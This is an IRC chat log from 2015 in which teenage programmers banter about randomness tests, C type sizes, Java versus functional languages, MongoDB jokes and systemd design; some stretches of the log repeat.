[2015-03-22T01:36:19-0400] <nezorg> nope!
[2015-03-22T01:36:32-0400] <grantwu> Oh
[2015-03-22T01:36:44-0400] <grantwu> Right, I didn't read that part oops
[2015-03-22T01:37:04-0400] • nezorg: also just has a love of random comments
[2015-03-22T02:28:54-0400] <grantwu> http://puu.sh/gKuRj/e8808a4155.png
[2015-03-22T02:31:29-0400] <z3t> lol.
[2015-03-22T02:32:14-0400] <LittleBobbyTables> If I went on an adventure drunk, I might not remember it.
[2015-03-22T03:32:56-0400] <bob_twinkles> netsplit!
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[2015-03-22T11:04:23-0400] <LittleBobbyTables> That one wasn't me
[2015-03-22T11:04:29-0400] <LittleBobbyTables> I went to bed soon after sending that message...
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[2015-03-22T11:35:30-0400] <JacobEdelman> hardmath123: I have 3 comments on your xkcd randomness analysis 
[2015-03-22T11:36:14-0400] <JacobEdelman> 1) You mention the Die Hard Randomness tests but not the Die Harder ones which are more modern and updated 
[2015-03-22T11:36:55-0400] <JacobEdelman> 2) You don't account for the fact that by statistics a certain number of people are liable to see an unusual number of repeats in the xkcd random number generator 
[2015-03-22T11:36:58-0400] <JacobEdelman> 3) It is awesome
[2015-03-22T11:45:21-0400] <hardmath123> 1) I wasn't aware of the "Die Harder" tests.
[2015-03-22T11:46:08-0400] <hardmath123> 2) Hmm, interesting. There's a 1/1500 chance that you see the same comic twice in a row, so over the millions of xkcd readers, it's certainly likely that it happens more than once a day.
[2015-03-22T11:46:12-0400] <hardmath123> 3) Thanks :D
[2015-03-22T11:46:25-0400] <JacobEdelman> hmm... I've done crypto stuff in the past and I don't even remember if I could find a download of die hard, die harder on the other hand is fairly easy to track down
[2015-03-22T11:54:39-0400] <JacobEdelman> so,
[2015-03-22T11:54:50-0400] <JacobEdelman> while I was talking to ernest and berger last night and looking stuff up
[2015-03-22T11:55:17-0400] <JacobEdelman> we found a method for finding the nth prime that took O(n^(1/2+e))
[2015-03-22T11:55:23-0400] <JacobEdelman> where that e is epsilon
[2015-03-22T11:56:20-0400] <JacobEdelman> (well more accurately we found a method for finding pi(n) in that time, and the rest of the nth prime algo takes n^(1/2))
[2015-03-22T11:57:34-0400] <+awe> That's pretty cool.
[2015-03-22T12:02:49-0400] <JacobEdelman> yup
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[2015-03-22T12:28:49-0400] <fwilson> lol netsplit
[2015-03-22T12:28:58-0400] <alokpathy> Netsplit where?
[2015-03-22T12:29:15-0400] <fwilson> earlier
[2015-03-22T12:29:18-0400] <alokpathy> Oh, wait, there was
[2015-03-22T12:29:20-0400] <alokpathy> I didn't even realize
[2015-03-22T12:34:09-0400] <z3t> A client is paying me $50 to do this 10  minute task... https://www.dropbox.com/s/kfgom81q1nrsjg4/OO%20Prog%20Project%202015%20-%20Call%20Centre.doc?dl=0
[2015-03-22T12:34:58-0400] <alokpathy> Lol
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[2015-03-22T21:03:31-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-22T19:32:45-0400] <hardmath123> this really brilliant 7th grade girl has invaded #gunn.
[2015-03-22T19:33:58-0400] <bob_twinkles> actually smart or just /r/iamverysmart
[2015-03-22T19:34:19-0400] • nezorg: is very smart
[2015-03-22T19:34:56-0400] <hardmath123> actually very smart. wrote a custom llvm backend in 6th grade smart.
[2015-03-22T19:35:10-0400] <nezorg> huh
[2015-03-22T19:35:13-0400] <bob_twinkles> damn
[2015-03-22T19:35:18-0400] <bob_twinkles> I mean, LLVM is pretty clean
[2015-03-22T19:35:23-0400] • nezorg: remembers his attempt to write a dcpu-16 backend
[2015-03-22T19:35:24-0400] <bob_twinkles> but it's high-level C++
[2015-03-22T19:35:38-0400] <bob_twinkles> and compilers are basically just magic
[2015-03-22T19:35:48-0400] <nezorg> dammit, why couldn't dcpu-16 have byte addressing :C
[2015-03-22T19:36:16-0400] <nezorg> (it turns out pretty much all C programs expect sizeof(char) == 1...)
[2015-03-22T19:36:29-0400] <bob_twinkles> well, that *is* what the spec says
[2015-03-22T19:36:39-0400] <bob_twinkles> so I would say that's a reasonable assumption =P
[2015-03-22T19:37:49-0400] <nezorg> uh, no
[2015-03-22T19:38:04-0400] • bob_twinkles: checks
[2015-03-22T19:38:11-0400] <grantwu> No, it's defined.
[2015-03-22T19:38:41-0400] <nezorg> oh, oops
[2015-03-22T19:38:48-0400] <nezorg> i was thinking in terms of bits
[2015-03-22T19:39:05-0400] <grantwu> lul
[2015-03-22T19:39:24-0400] <grantwu> Who doesn't love the fact that the number of bits in a byte is who the fuck knows in C
[2015-03-22T19:39:29-0400] <bob_twinkles> yeah a lot of programs expect CHAR_BITS to be 8
[2015-03-22T19:39:47-0400] <bob_twinkles> CHAR_BIT sorry
[2015-03-22T19:39:57-0400] <nezorg> grantwu: well, it's useful for obscure architectures like this
[2015-03-22T19:40:09-0400] <grantwu> ik, ik
[2015-03-22T19:40:10-0400] <bob_twinkles> wait actually, CHAR_BIT is required to be at least 8
[2015-03-22T19:40:16-0400] <bob_twinkles> at least in C99
[2015-03-22T19:40:38-0400] <nezorg> yeah, just at least, though
[2015-03-22T19:40:38-0400] <bob_twinkles> ints are only required to be 16 bits though
[2015-03-22T19:40:53-0400] <grantwu> Lol HackUMass is in 20 days and they don't have the logos for T-shirts
[2015-03-22T19:40:57-0400] <grantwu> Hrm, I guess 20 days is a lot
[2015-03-22T19:41:53-0400] <z3t> still waiting on pico shirts :l
[2015-03-22T19:42:02-0400] <bob_twinkles> are those even real?
[2015-03-22T19:42:06-0400] <hardmath123> z3t: Ikr? my teammates keep annoying me about those.
[2015-03-22T19:42:09-0400] <bob_twinkles> I'm pretty sure they're just imaginary
[2015-03-22T19:42:24-0400] <alokpathy> Lol, pico shirst.
[2015-03-22T19:42:26-0400] <alokpathy> shirts*
[2015-03-22T19:42:50-0400] <Tamini> lol
[2015-03-22T19:42:55-0400] <Tamini> tylerni7 said they were real, though! :P
[2015-03-22T19:57:17-0400] <grantwu> Why do I volunteer for random stuff I won't get any recognition for ._.
[2015-03-22T19:57:34-0400] <Tamini> because you're a good person?
[2015-03-22T19:57:44-0400] <Tamini> or a stupid person
[2015-03-22T19:57:47-0400] <Tamini> but more a good person, probably.
[2015-03-22T19:57:47-0400] <grantwu> I think the latter
[2015-03-22T19:58:44-0400] <nezorg> a stupid good person!
[2015-03-22T19:59:44-0400] <Tamini> the best kind of good person! :P
[2015-03-22T20:00:00-0400] <jwoglom> or, you could say, a stupidly good person :P
[2015-03-22T20:04:43-0400] <grantwu> idk, maybe i should've asked for payment
[2015-03-22T20:17:10-0400] <jwoglom> whoever's in here that was involved with CTCTF, you still haven't closed the competition ;_;
[2015-03-22T20:17:20-0400] <z3t> lmao
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[2015-03-22T21:04:29-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-22T19:32:45-0400] <hardmath123> this really brilliant 7th grade girl has invaded #gunn.
[2015-03-22T19:33:58-0400] <bob_twinkles> actually smart or just /r/iamverysmart
[2015-03-22T19:34:19-0400] • nezorg: is very smart
[2015-03-22T19:34:56-0400] <hardmath123> actually very smart. wrote a custom llvm backend in 6th grade smart.
[2015-03-22T19:35:10-0400] <nezorg> huh
[2015-03-22T19:35:13-0400] <bob_twinkles> damn
[2015-03-22T19:35:18-0400] <bob_twinkles> I mean, LLVM is pretty clean
[2015-03-22T19:35:23-0400] • nezorg: remembers his attempt to write a dcpu-16 backend
[2015-03-22T19:35:24-0400] <bob_twinkles> but it's high-level C++
[2015-03-22T19:35:38-0400] <bob_twinkles> and compilers are basically just magic
[2015-03-22T19:35:48-0400] <nezorg> dammit, why couldn't dcpu-16 have byte addressing :C
[2015-03-22T19:36:16-0400] <nezorg> (it turns out pretty much all C programs expect sizeof(char) == 1...)
[2015-03-22T19:36:29-0400] <bob_twinkles> well, that *is* what the spec says
[2015-03-22T19:36:39-0400] <bob_twinkles> so I would say that's a reasonable assumption =P
[2015-03-22T19:37:49-0400] <nezorg> uh, no
[2015-03-22T19:38:04-0400] • bob_twinkles: checks
[2015-03-22T19:38:11-0400] <grantwu> No, it's defined.
[2015-03-22T19:38:41-0400] <nezorg> oh, oops
[2015-03-22T19:38:48-0400] <nezorg> i was thinking in terms of bits
[2015-03-22T19:39:05-0400] <grantwu> lul
[2015-03-22T19:39:24-0400] <grantwu> Who doesn't love the fact that the number of bits in a byte is who the fuck knows in C
[2015-03-22T19:39:29-0400] <bob_twinkles> yeah a lot of programs expect CHAR_BITS to be 8
[2015-03-22T19:39:47-0400] <bob_twinkles> CHAR_BIT sorry
[2015-03-22T19:39:57-0400] <nezorg> grantwu: well, it's useful for obscure architectures like this
[2015-03-22T19:40:09-0400] <grantwu> ik, ik
[2015-03-22T19:40:10-0400] <bob_twinkles> wait actually, CHAR_BIT is required to be at least 8
[2015-03-22T19:40:16-0400] <bob_twinkles> at least in C99
[2015-03-22T19:40:38-0400] <nezorg> yeah, just at least, though
[2015-03-22T19:40:38-0400] <bob_twinkles> ints are only required to be 16 bits though
[2015-03-22T19:40:53-0400] <grantwu> Lol HackUMass is in 20 days and they don't have the logos for T-shirts
[2015-03-22T19:40:57-0400] <grantwu> Hrm, I guess 20 days is a lot
[2015-03-22T19:41:53-0400] <z3t> still waiting on pico shirts :l
[2015-03-22T19:42:02-0400] <bob_twinkles> are those even real?
[2015-03-22T19:42:06-0400] <hardmath123> z3t: Ikr? my teammates keep annoying me about those.
[2015-03-22T19:42:09-0400] <bob_twinkles> I'm pretty sure they're just imaginary
[2015-03-22T19:42:24-0400] <alokpathy> Lol, pico shirst.
[2015-03-22T19:42:26-0400] <alokpathy> shirts*
[2015-03-22T19:42:50-0400] <Tamini> lol
[2015-03-22T19:42:55-0400] <Tamini> tylerni7 said they were real, though! :P
[2015-03-22T19:57:17-0400] <grantwu> Why do I volunteer for random stuff I won't get any recognition for ._.
[2015-03-22T19:57:34-0400] <Tamini> because you're a good person?
[2015-03-22T19:57:44-0400] <Tamini> or a stupid person
[2015-03-22T19:57:47-0400] <Tamini> but more a good person, probably.
[2015-03-22T19:57:47-0400] <grantwu> I think the latter
[2015-03-22T19:58:44-0400] <nezorg> a stupid good person!
[2015-03-22T19:59:44-0400] <Tamini> the best kind of good person! :P
[2015-03-22T20:00:00-0400] <jwoglom> or, you could say, a stupidly good person :P
[2015-03-22T20:04:43-0400] <grantwu> idk, maybe i should've asked for payment
[2015-03-22T20:17:10-0400] <jwoglom> whoever's in here that was involved with CTCTF, you still haven't closed the competition ;_;
[2015-03-22T20:17:20-0400] <z3t> lmao
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[2015-03-22T21:05:42-0400] <+awe> [12:34:09]  <z3t>	A client is paying me $50 to do this 10  minute task...
[2015-03-22T21:05:48-0400] <+awe> z3t: do you mean that someone is paying you to do their homework?
[2015-03-22T21:05:55-0400] <+awe> z3t: I'd hardly call them a "client."
[2015-03-22T21:11:07-0400] <JacobEdelman> awe: its nice to finially have you back
[2015-03-22T21:11:25-0400] <JacobEdelman> z3t: speaking of pico shirts
[2015-03-22T21:11:45-0400] <JacobEdelman> someone on ##CTCTF asked when ctctf prizes and stuff would be given
[2015-03-22T21:11:53-0400] <JacobEdelman> I said in less time than it takes pico to give shirts
[2015-03-22T21:11:54-0400] <JacobEdelman> :P
[2015-03-22T21:12:04-0400] <JacobEdelman> (so basicly, never)
[2015-03-22T21:12:19-0400] <JacobEdelman> also, wow pdgn has grown
[2015-03-22T21:12:47-0400] <JacobEdelman> asjvpot, Rawr_, scrub: did I interro-interview any of you guys yet?
[2015-03-22T21:12:58-0400] <alokpathy> JacobEdelman: Please don't grow it more .-.
[2015-03-22T21:13:06-0400] <alokpathy> JacobEdelman: I don't want to get to the point where I don't know half the people.
[2015-03-22T21:13:16-0400] <jwoglom> a bunch of the people joined bc ctctf, i think
[2015-03-22T21:13:19-0400] <alokpathy> JacobEdelman: Or to the point where we get annoying people in here.
[2015-03-22T21:16:47-0400] <z3t> awe: I do freelance Java development, so I just refer to everyone as a client, regardless of what they need done.
[2015-03-22T21:29:51-0400] <JacobEdelman> alokpathy: too late, z3t does java development :(
[2015-03-22T21:30:16-0400] <JacobEdelman> :P
[2015-03-22T21:30:17-0400] <bob_twinkles> java isn't actually bad
[2015-03-22T21:30:26-0400] <bob_twinkles> it just has a kinda bad reputaiton
[2015-03-22T21:30:38-0400] <JacobEdelman> bob_twinkles: it has this whole presumptious type system, thats so strict and covered with boiler plate
[2015-03-22T21:30:54-0400] <JacobEdelman> and then its goes and says "a"+4 is "a4"
[2015-03-22T21:30:57-0400] <JacobEdelman> which is so not legit
[2015-03-22T21:31:06-0400] <z3t> I feel like python freelance wouldn't be as profitable as java...
[2015-03-22T21:31:08-0400] <JacobEdelman> even python won't do that
[2015-03-22T21:31:09-0400] <bob_twinkles> ok so string concatenation is a bit weird
[2015-03-22T21:31:16-0400] <bob_twinkles> but like
[2015-03-22T21:31:31-0400] <bob_twinkles> type erasure is a bitch
[2015-03-22T21:31:36-0400] <JacobEdelman> bob_twinkles: how do you make a function that takes as input two strings and checks for equality
[2015-03-22T21:31:57-0400] <bob_twinkles> public bool isEqual (String s1,  String s2) { return s1.equals(s2); }
[2015-03-22T21:32:03-0400] <JacobEdelman> bob_twinkles: keep in mind that strong type systems should allow you to make correct functions, that only give errors at compile time
[2015-03-22T21:32:09-0400] <JacobEdelman> that function can give a non compile time error
[2015-03-22T21:32:16-0400] <JacobEdelman> isEqual(null,"oops")
[2015-03-22T21:32:17-0400] <bob_twinkles> well sure
[2015-03-22T21:32:25-0400] <JacobEdelman> since null counts as every type
[2015-03-22T21:32:34-0400] <bob_twinkles> but Java isn't any better or worse than most other language
[2015-03-22T21:32:35-0400] <JacobEdelman> but doesn't actually have the methods for any of thoe types
[2015-03-22T21:32:36-0400] <bob_twinkles> *languages
[2015-03-22T21:32:45-0400] <bob_twinkles> CLR languages have the same issues
[2015-03-22T21:32:50-0400] <LittleBobbyTables> you're a clr
[2015-03-22T21:32:52-0400] <bob_twinkles> C/C++ are even worse
[2015-03-22T21:32:55-0400] <JacobEdelman> my problem is it has a strong, huge type system, with lots of boiler plate
[2015-03-22T21:33:01-0400] <bob_twinkles> that's... not even true
[2015-03-22T21:33:08-0400] <bob_twinkles> how does the type system have boilerplate
[2015-03-22T21:33:13-0400] <bob_twinkles> that doesn't even make sense
[2015-03-22T21:33:20-0400] <JacobEdelman> I mean the language in general
[2015-03-22T21:33:23-0400] <JacobEdelman> has boiler plate
[2015-03-22T21:33:25-0400] <bob_twinkles> also not true
[2015-03-22T21:33:27-0400] <JacobEdelman> ?
[2015-03-22T21:33:34-0400] <JacobEdelman> I disagree
[2015-03-22T21:33:41-0400] <bob_twinkles> there are commonly used frameworks that have boilerplate
[2015-03-22T21:33:47-0400] <bob_twinkles> and the standard library is huge
[2015-03-22T21:33:53-0400] <z3t> WHO GIVES A SHIT, JUST CODE IN WHAT YOU WANT!
[2015-03-22T21:34:01-0400] <bob_twinkles> but a huge standard library isn't boilerplate
[2015-03-22T21:34:01-0400] <LittleBobbyTables> How can a programming language have a boiler plate? It's made of steel, not binary.
[2015-03-22T21:34:10-0400] <bob_twinkles> z3t: but someone is wrong on the internet!
[2015-03-22T21:34:18-0400] <JacobEdelman> z3t:^
[2015-03-22T21:34:25-0400] <Hyper> z3t: preach it, yo
[2015-03-22T21:34:39-0400] <JacobEdelman> Hyper: says the guy who uses the hipster language of D
[2015-03-22T21:34:43-0400] <JacobEdelman> :P
[2015-03-22T21:34:51-0400] <Hyper> I code in what I like.
[2015-03-22T21:34:57-0400] <Hyper> this is what I was echoing
[2015-03-22T21:35:25-0400] <bob_twinkles> I haven't even written any java in the last like... 2 or 3 years =P
[2015-03-22T21:35:40-0400] <JacobEdelman> bob_twinkles: I only ever coded java cause I was made too for AP CS
[2015-03-22T21:35:44-0400] <JacobEdelman> and I did not enjoy it
[2015-03-22T21:35:55-0400] <Hyper> I think it's been a bit under 2 years since I've written any java
[2015-03-22T21:36:11-0400] <bob_twinkles> I taught myself java because I thought it would be a good way to learn gamedev
[2015-03-22T21:36:19-0400] <bob_twinkles> before taking any CS classes in school
[2015-03-22T21:36:21-0400] <bob_twinkles> it went.. OK
[2015-03-22T21:36:23-0400] <Hyper> heh
[2015-03-22T21:37:22-0400] <bob_twinkles> I've never had the misfortune of being taught a language =P
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[2015-03-22T21:38:28-0400] <Hyper> I don't think I've ever been taught a language I didn't know... except scheme
[2015-03-22T21:39:32-0400] <bob_twinkles> I kinda want to learn a LISP just because people seem to either make fun of them or love them
[2015-03-22T21:39:42-0400] <bob_twinkles> but I don't use emacs so I have no use for one
[2015-03-22T21:45:49-0400] <Hyper> lol
[2015-03-22T21:45:56-0400] <Hyper> they're interesting languages
[2015-03-22T21:46:17-0400] <Hyper> good for learning fundamental stuff, but I can't imagine forcing myself to write anything serious in one
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[2015-03-22T21:48:22-0400] <fwilson> guile!
[2015-03-22T21:48:38-0400] <fwilson> LittleBobbyTables | How can a programming language have a boiler plate? It's made of steel, not binary.
[2015-03-22T21:48:42-0400] <fwilson> LittleBobbyTables: jet fuel can't melt steel code
[2015-03-22T21:52:32-0400] <grantwu> I don't think Java has any fundamental flaws
[2015-03-22T21:52:54-0400] <grantwu> Well no, I take that back
[2015-03-22T21:53:14-0400] <grantwu> What I mean to say is, its behavior isn't atrocious like JavaScript or PHP at their worst
[2015-03-22T21:53:39-0400] <bob_twinkles> at some point I should probably learn how to write clean PHP
[2015-03-22T21:53:44-0400] <grantwu> It's hard to write Java code that is incomprehensible at a micro scale
[2015-03-22T21:53:52-0400] <grantwu> bob_twinkles: why? is that even possible?
[2015-03-22T21:53:56-0400] <bob_twinkles> grantwu: I think so
[2015-03-22T21:54:09-0400] <bob_twinkles> there's a thing that starts with L that apparently makes things better
[2015-03-22T21:54:11-0400] <grantwu> Why bother?
[2015-03-22T21:54:29-0400] <bob_twinkles> because there's a lot of PHP out there and it's not going away just because people hate the language?
[2015-03-22T21:54:52-0400] <grantwu> There's also a lot of not-PHP out there
[2015-03-22T21:55:03-0400] <grantwu> Hopefully you have the freedom to pick your projects
[2015-03-22T21:55:04-0400] <Hyper> Laravel
[2015-03-22T21:55:52-0400] <bob_twinkles> eh, true
[2015-03-22T21:55:59-0400] <bob_twinkles> still, you can never know too many things =P
[2015-03-22T21:56:36-0400] <grantwu> Of course you can't know too many things, but your time is finite and limited
[2015-03-22T21:56:55-0400] <bob_twinkles> yeah
[2015-03-22T21:57:12-0400] <bob_twinkles> "learn PHP" is waaaaay at the bottom of the list of things I want to do
[2015-03-22T21:57:31-0400] <grantwu> Back to Java... now that I look at it, its syntax is far too verbose and its type system inherits too many quirks from C/C++, like NULL
[2015-03-22T21:58:18-0400] <grantwu> Consider SML: val mytree : 'a tree tree = Node (Node (Empty, 1, Empty)
[2015-03-22T21:58:37-0400] <sdamashek> bob_twinkles: right above "use haskell", right?
[2015-03-22T21:58:59-0400] <bob_twinkles> no, not really
[2015-03-22T21:59:06-0400] <bob_twinkles> "use haskell" is actually pretty close to the top =P
[2015-03-22T21:59:09-0400] <LittleBobbyTables> fwilson: are you sure about that? I just tried it, and I accidentally caused an inside job.
[2015-03-22T21:59:20-0400] <bob_twinkles> one day I'll find an application for which FP is the right solution
[2015-03-22T21:59:39-0400] <fwilson> LittleBobbyTables: haskell did 9/11
[2015-03-22T22:00:14-0400] <grantwu> Versus... TreeMap<Integer> mytree = new TreeMap<>;
[2015-03-22T22:00:18-0400] <grantwu> and then do puts and crap
[2015-03-22T22:00:27-0400] <grantwu> egh it's not exactly the same but nouns in Java are looonnggggggggggggggggggggg
[2015-03-22T22:00:47-0400] <bob_twinkles> OTOH, in Java I can just swap TreeMap<> for HashMap and nothing else has to change
[2015-03-22T22:00:57-0400] <fwilson> in Java I can't do anything
[2015-03-22T22:01:10-0400] <bob_twinkles> versus writing a more complex find/replace macro to fix it in SML
[2015-03-22T22:01:46-0400] <grantwu> Well, no, you can do that in SML
[2015-03-22T22:01:57-0400] <grantwu> You'd need to have an interface, though
[2015-03-22T22:02:14-0400] <grantwu> A map signature and treemap/hashmap structures
[2015-03-22T22:02:36-0400] <bob_twinkles> eh, fair. I don't actually know SML
[2015-03-22T22:03:03-0400] <bob_twinkles> java is kinda IDE-centric as far as verbosity goes
[2015-03-22T22:03:20-0400] <bob_twinkles> with some work you can C-space your way to victory
[2015-03-22T22:03:59-0400] <grantwu> SML is kind of like Haskell
[2015-03-22T22:04:54-0400] <bob_twinkles> ah, OK
[2015-03-22T22:04:59-0400] <bob_twinkles> I might take a look at it then =P
[2015-03-22T22:05:05-0400] <grantwu> nahhh
[2015-03-22T22:05:11-0400] <bob_twinkles> though, I think the most practical FP language would be Scala
[2015-03-22T22:05:16-0400] <grantwu> don't use SML
[2015-03-22T22:05:22-0400] <bob_twinkles> since you can leverage most of the Java ecosystem
[2015-03-22T22:12:53-0400] <nezorg> i use smt
[2015-03-22T22:13:40-0400] <bob_twinkles> SMT?
[2015-03-22T22:14:21-0400] <nezorg> yup
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[2015-03-22T22:21:57-0400] <bob_twinkles> /dev/null provides all the high performance and security we're used to from established databases like mysql and postgres, with all the data safety we've come to expect from more modern datastores
[2015-03-22T22:21:57-0400] <jwoglom> you should use my hosted redundant devnull cluster!
[2015-03-22T22:22:01-0400] <jwoglom> http://wogloms.com/dev/null
[2015-03-22T22:22:02-0400] <fwilson> perl is a nice language ok
[2015-03-22T22:22:09-0400] <fwilson> it has its place
[2015-03-22T22:22:12-0400] <fwilson> it's just not in making LibraryWorld
[2015-03-22T22:22:14-0400] <nezorg> jwoglom: iunno, how scalable is it?
[2015-03-22T22:22:19-0400] <nezorg> jwoglom: are you using mongo?
[2015-03-22T22:22:20-0400] <fwilson> nezorg: web scale
[2015-03-22T22:22:20-0400] <jwoglom> nezorg: very
[2015-03-22T22:22:25-0400] <jwoglom> it uses all the technologies
[2015-03-22T22:22:31-0400] <nezorg> what about rust?
[2015-03-22T22:22:39-0400] <nezorg> what about AVX-512?
[2015-03-22T22:22:41-0400] <grantwu> I use vector graphics for web scale applications
[2015-03-22T22:22:44-0400] <grantwu> They scale infinitely
[2015-03-22T22:22:52-0400] <nezorg> badum-tssh
[2015-03-22T22:22:59-0400] <grantwu> Only requires a bunch of fp muls
[2015-03-22T22:23:14-0400] <nezorg> but then you lose precision .-.
[2015-03-22T22:23:26-0400] <bob_twinkles> use bignums
[2015-03-22T22:23:30-0400] <jwoglom> it uses a redundant cluster of dev langauges
[2015-03-22T22:23:32-0400] <Hyper> who needs precision when you can be *webscale*?
[2015-03-22T22:24:41-0400] <nezorg> Hyper: good point.
[2015-03-22T22:24:52-0400] <nezorg> just like who cares if mongo loses data as long as it's web scale
[2015-03-22T22:25:23-0400] <Hyper> mongo doesn't even provide solid garuntees that it'll *get* the data :)
[2015-03-22T22:25:38-0400] <grantwu> Who *needs* ACID
[2015-03-22T22:25:46-0400] <nezorg> grantwu: hippies
[2015-03-22T22:25:47-0400] <grantwu> serious: Google Spanner sounds really cool
[2015-03-22T22:26:09-0400] <nezorg> grantwu: sorry to throw a wrench in your plans, but it sucks
[2015-03-22T22:26:10-0400] <Hyper> oh if google does it it must be best practice for all cases
[2015-03-22T22:26:28-0400] <Hyper> #justwebscalethings
[2015-03-22T22:27:39-0400] <grantwu> nezorg: How do you know it sucks
[2015-03-22T22:28:00-0400] <nezorg> grantwu: oh, i've barely looked at it, but i just had to make that pun
[2015-03-22T22:28:14-0400] <grantwu> oh, there was a pun... T.T
[2015-03-22T22:28:19-0400] <nezorg> >spanner
[2015-03-22T22:28:20-0400] <nezorg> >wrench
[2015-03-22T22:28:30-0400] <grantwu> pls I'm tire
[2015-03-22T22:28:33-0400] <grantwu> tired
[2015-03-22T22:28:44-0400] <nezorg> do you need a realignment?
[2015-03-22T22:30:12-0400] <grantwu> ai ya
[2015-03-22T22:30:16-0400] • grantwu: slaps nezorg with a cold salmon
[2015-03-22T22:37:29-0400] <grantwu> Has anyone seen sandstorm.io
[2015-03-22T22:38:25-0400] <ubuntor> expected darude
[2015-03-22T22:38:29-0400] <ubuntor> was disappointed
[2015-03-22T22:38:54-0400] <Hyper> ^
[2015-03-22T22:40:18-0400] <grantwu> ...
[2015-03-22T22:42:24-0400] <jwoglom> sae
[2015-03-22T22:42:26-0400] <jwoglom> *same
[2015-03-22T22:42:37-0400] <grantwu> It looks really cool
[2015-03-22T22:42:48-0400] <grantwu> I disagree with how its architected, but, oh well, perfect can't be enemy of the good
[2015-03-22T22:42:59-0400] <grantwu> Similar to my issues with systemd
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[2015-03-22T22:21:57-0400] <bob_twinkles> /dev/null provides all the high performance and security we're used to from established databases like mysql and postgres, with all the data safety we've come to expect from more modern datastores
[2015-03-22T22:21:57-0400] <jwoglom> you should use my hosted redundant devnull cluster!
[2015-03-22T22:22:01-0400] <jwoglom> http://wogloms.com/dev/null
[2015-03-22T22:22:02-0400] <fwilson> perl is a nice language ok
[2015-03-22T22:22:09-0400] <fwilson> it has its place
[2015-03-22T22:22:12-0400] <fwilson> it's just not in making LibraryWorld
[2015-03-22T22:22:14-0400] <nezorg> jwoglom: iunno, how scalable is it?
[2015-03-22T22:22:19-0400] <nezorg> jwoglom: are you using mongo?
[2015-03-22T22:22:20-0400] <fwilson> nezorg: web scale
[2015-03-22T22:22:20-0400] <jwoglom> nezorg: very
[2015-03-22T22:22:25-0400] <jwoglom> it uses all the technologies
[2015-03-22T22:22:31-0400] <nezorg> what about rust?
[2015-03-22T22:22:39-0400] <nezorg> what about AVX-512?
[2015-03-22T22:22:41-0400] <grantwu> I use vector graphics for web scale applications
[2015-03-22T22:22:44-0400] <grantwu> They scale infinitely
[2015-03-22T22:22:52-0400] <nezorg> badum-tssh
[2015-03-22T22:22:59-0400] <grantwu> Only requires a bunch of fp muls
[2015-03-22T22:23:14-0400] <nezorg> but then you lose precision .-.
[2015-03-22T22:23:26-0400] <bob_twinkles> use bignums
[2015-03-22T22:23:30-0400] <jwoglom> it uses a redundant cluster of dev langauges
[2015-03-22T22:23:32-0400] <Hyper> who needs precision when you can be *webscale*?
[2015-03-22T22:24:41-0400] <nezorg> Hyper: good point.
[2015-03-22T22:24:52-0400] <nezorg> just like who cares if mongo loses data as long as it's web scale
[2015-03-22T22:25:23-0400] <Hyper> mongo doesn't even provide solid garuntees that it'll *get* the data :)
[2015-03-22T22:25:38-0400] <grantwu> Who *needs* ACID
[2015-03-22T22:25:46-0400] <nezorg> grantwu: hippies
[2015-03-22T22:25:47-0400] <grantwu> serious: Google Spanner sounds really cool
[2015-03-22T22:26:09-0400] <nezorg> grantwu: sorry to throw a wrench in your plans, but it sucks
[2015-03-22T22:26:10-0400] <Hyper> oh if google does it it must be best practice for all cases
[2015-03-22T22:26:28-0400] <Hyper> #justwebscalethings
[2015-03-22T22:27:39-0400] <grantwu> nezorg: How do you know it sucks
[2015-03-22T22:28:00-0400] <nezorg> grantwu: oh, i've barely looked at it, but i just had to make that pun
[2015-03-22T22:28:14-0400] <grantwu> oh, there was a pun... T.T
[2015-03-22T22:28:19-0400] <nezorg> >spanner
[2015-03-22T22:28:20-0400] <nezorg> >wrench
[2015-03-22T22:28:30-0400] <grantwu> pls I'm tire
[2015-03-22T22:28:33-0400] <grantwu> tired
[2015-03-22T22:28:44-0400] <nezorg> do you need a realignment?
[2015-03-22T22:30:12-0400] <grantwu> ai ya
[2015-03-22T22:30:16-0400] • grantwu: slaps nezorg with a cold salmon
[2015-03-22T22:37:29-0400] <grantwu> Has anyone seen sandstorm.io
[2015-03-22T22:38:25-0400] <ubuntor> expected darude
[2015-03-22T22:38:29-0400] <ubuntor> was disappointed
[2015-03-22T22:38:54-0400] <Hyper> ^
[2015-03-22T22:40:18-0400] <grantwu> ...
[2015-03-22T22:42:24-0400] <jwoglom> sae
[2015-03-22T22:42:26-0400] <jwoglom> *same
[2015-03-22T22:42:37-0400] <grantwu> It looks really cool
[2015-03-22T22:42:48-0400] <grantwu> I disagree with how its architected, but, oh well, perfect can't be enemy of the good
[2015-03-22T22:42:59-0400] <grantwu> Similar to my issues with systemd
[2015-03-22T22:49:06-0400] Mode is +nt
[2015-03-22T23:10:14-0400] <assface> I can't say I hate systemd, but their design philosophy is flawed
[2015-03-22T23:10:25-0400] <assface> I like what comes out though
[2015-03-22T23:10:27-0400] <bob_twinkles> they've got some pretty weird defaults too
[2015-03-22T23:10:38-0400] <bob_twinkles> at least the arch distribution does
[2015-03-22T23:10:43-0400] <assface> ?
[2015-03-22T23:10:48-0400] <assface> elabberate
[2015-03-22T23:10:49-0400] <bob_twinkles> no cap on the size of the coredump cache >_>
[2015-03-22T23:11:19-0400] <bob_twinkles> a friend's machined barfed in the middle of an update because of a full disk from 56GB worth of core dumps
[2015-03-22T23:11:33-0400] <assface> lol
[2015-03-22T23:11:37-0400] <bob_twinkles> also down with binary log files
[2015-03-22T23:11:41-0400] <assface> ^^^^
[2015-03-22T23:11:43-0400] <bob_twinkles> that shit's just stupid
[2015-03-22T23:11:48-0400] <assface> it's retarded
[2015-03-22T23:12:17-0400] <assface> like, what if systemctl breaks?
[2015-03-22T23:12:22-0400] <assface> *journalctl
[2015-03-22T23:13:10-0400] <bob_twinkles> you can't get to logs
[2015-03-22T23:13:16-0400] <bob_twinkles> because it does no error collection
[2015-03-22T23:13:20-0400] <bob_twinkles> *correction
[2015-03-22T23:13:31-0400] <assface> ISWYDT
[2015-03-22T23:13:55-0400] <bob_twinkles> it wasn't on purpose I swear
[2015-03-22T23:14:07-0400] <assface> riiight
[2015-03-22T23:14:26-0400] <bob_twinkles> I've had a headache all day and it sucks b/c I can't focus on anything but watching Binding of Isaac
[2015-03-22T23:14:44-0400] <assface> lol
[2015-03-22T23:14:50-0400] <assface> I've played cities: skylines all day
[2015-03-22T23:14:56-0400] <assface> best game 2015
[2015-03-22T23:14:58-0400] <bob_twinkles> heh
